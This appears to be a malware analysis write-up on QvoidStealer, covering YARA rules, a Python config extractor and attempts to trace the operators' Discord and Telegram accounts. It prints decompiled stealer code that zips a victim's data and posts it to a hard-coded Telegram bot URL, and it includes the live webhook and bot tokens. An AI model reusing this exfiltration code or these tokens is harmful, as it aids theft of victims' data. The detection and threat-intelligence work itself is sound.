Overview

This is an open source stealer (lol) that is being dropped along side Redline. We are going to take a quick look and build some yara rules and maybe a config extractor.

Samples

  • ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42 UnpacMe Analysis

References

Analysis

There is no config the config values are hard coded into the malware in the Settings class.

// Token: 0x0400005B RID: 91
public static DiscordWebhook Webhook = new DiscordWebhook("https://discord.com/api/webhooks/1018147363531014255/uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL");

// Token: 0x0400005C RID: 92
public static TelegramAPI Telegram = new TelegramAPI("%TELEGRAM_TOKEN_HERE%", 0UL);

// Token: 0x0400005D RID: 93
public static CryptoClipper Clipper = new CryptoClipper("BTC_ADDRESS_HERE_", "ETH_ADDRESS_HERE_", "DODGE_ADDRESS_HERE_", "LTC_ADDRESS_HERE_", "XMR_ADDRESS_HERE_", "DASH_ADDRESS_HERE_", "NEO_ADDRESS_HERE_", "XRP_ADDRESS_HERE_");

In addition to the "settings" there is also a hard coded telegram link in the Grabber class, used to upload a zip of the stolen info.

{
MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();
byte[] array3 = File.ReadAllBytes(text11);
multipartFormDataContent.Add(new ByteArrayContent(array3, 0, array3.Length), "Document".ToLower(), Environment.UserName + "-REPORT.zip");
httpClient.PostAsync("https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/sendDocument?chat_id=2024893777", multipartFormDataContent).Wait();
httpClient.Dispose();
}

Yara Rules

@dr4k0nia sent us this rule that will match on the silly anti-dumping features of the malware. She also poste this to GitHub.

import "dotnet"

rule msil_obf_antidump {
    meta:
        author = "dr4k0nia"
        version = "1.0"
        date = "12/03/2023"
        hash = "ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42"
    strings:
        $import0 = "ZeroMemory"
        $import1 = "VirtualProtect"
        $importt2 = "GetCurrentProcess" // Managed import

        $array0 = {1D 8D 9E 00 00 01 25 D0 67 00 00 04 28 CF 01 00 0A 80 84 00 00 04}
        $array1 = {1F 0C 8D 9E 00 00 01 25 D0 65 00 00 04 28 CF 01 00 0A 80 86 00 00 04}
        $array2 = {1F 1B 8D 9E 00 00 01 25 D0 66 00 00 04 28 CF 01 00 0A 80 87 00 00 04}
    condition:
        uint16(0) == 0x5a4d
        and dotnet.is_dotnet
        and all of($import*)
        and all of($array*)
}

We also created this lame strings based rule

import "dotnet"

rule qvoidstealer {
    strings:
        $s1 = "Some retard who thinks he can reverse this application." ascii wide
        $s2 = "QvoidStealer" wide
        $m1 = "AntiDebug" wide
        $m2 = "AntiEmulation" wide
        $m3 = "AntiSandBoxie" wide
        $m4 = "AntiVM" wide
        $m5 = "AntiWebSniffers" wide
        $m6 = "Clipper" wide
        $m7 = "Webhook" wide
    condition:
        uint16(0) == 0x5a4d and
        dotnet.is_dotnet and 
        (   
            1 of ($s*) or 
            all of ($m*)
        )

}

Config Extractor

(don't judge me!)

import re

data = open('/tmp/what.bin', 'rb').read()
def unicode_strings(buf, n=4):
    import re
    ASCII_BYTE = b' !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t'
    if type(buf) == str:
        buf = buf.encode('utf-8')
    reg = b'((?:[%s]\x00){%d,})' % (ASCII_BYTE, n)
    uni_re = re.compile(reg)
    out = []
    for match in uni_re.finditer(buf):
        try:
            out.append(match.group().decode("utf-16"))
        except UnicodeDecodeError:
            pass
    return out

strings = unicode_strings(data)
telegram_egg = r'https:\/\/api\.telegram\.org[^\?]*\?chat_id=[0-9]+'
discord_egg = r'https:\/\/discord\.com\/api\/webhooks\/[^\n]*'

c2s = []
for m in re.finditer(telegram_egg, ('\n').join(strings), re.DOTALL):
    c2s.append(m.group())

for m in re.finditer(discord_egg, ('\n').join(strings), re.DOTALL):
    c2s.append(m.group())

c2s
['https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/sendDocument?chat_id=2024893777',
 'https://discord.com/api/webhooks/1018147363531014255/uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL']

Notes

Discord De-Anonymization

Can we determin the discord server based on the the webhook?

https://discord.com/api/webhooks/1018147363531014255/uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL

If we call the webhook the response is ....

{
"type": 1, 
"id": "1018147363531014255", 
"name": "Clown", 
"avatar": null, 
"channel_id": "1018147299177807935", 
"guild_id": "1018147298502516836", 
"application_id": null, 
"token": "uKi-k3i3zSVEkAUaQlsmJRCYATrY2kAsY06YGJ38v8lpW7BvMV3LdjJR8N1F18izeOoL"
}

This site looks promising discordlookup but it didn't return anything.

We can also interrogate the snowflake using toolscord

Server Created: Saturday, September 10, 2022 at 9:13:52 AM EDT

Thomas also found this interesting endpoint to query https://discord.com/api/v9/users/@me/guilds/1018147298502516836/settings

{
    "guild_id": "1018147298502516836",
    "suppress_everyone": false,
    "suppress_roles": false,
    "mute_scheduled_events": false,
    "message_notifications": 0,
    "flags": 0,
    "mobile_push": true,
    "muted": false,
    "mute_config": null,
    "hide_muted_channels": false,
    "channel_overrides": [
        {
            "channel_id": "885624530071085097",
            "message_notifications": 3,
            "muted": true,
            "mute_config": {
                "end_time": null,
                "selected_time_window": -1
            },
            "collapsed": false
        }
    ],
    "notify_highlights": 0,
    "version": 3642
}

Telegram De-Anonymization

What about getting the telegram channel from the bot chat id?

https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/sendDocument?chat_id=2024893777

We can try the getMe command to get more info but the bot seems to be dead.

https://api.telegram.org/bot5782836382:AAHNuZVXqfrDOZvUuZDvx1SNqBnGmTN8Kio/getMe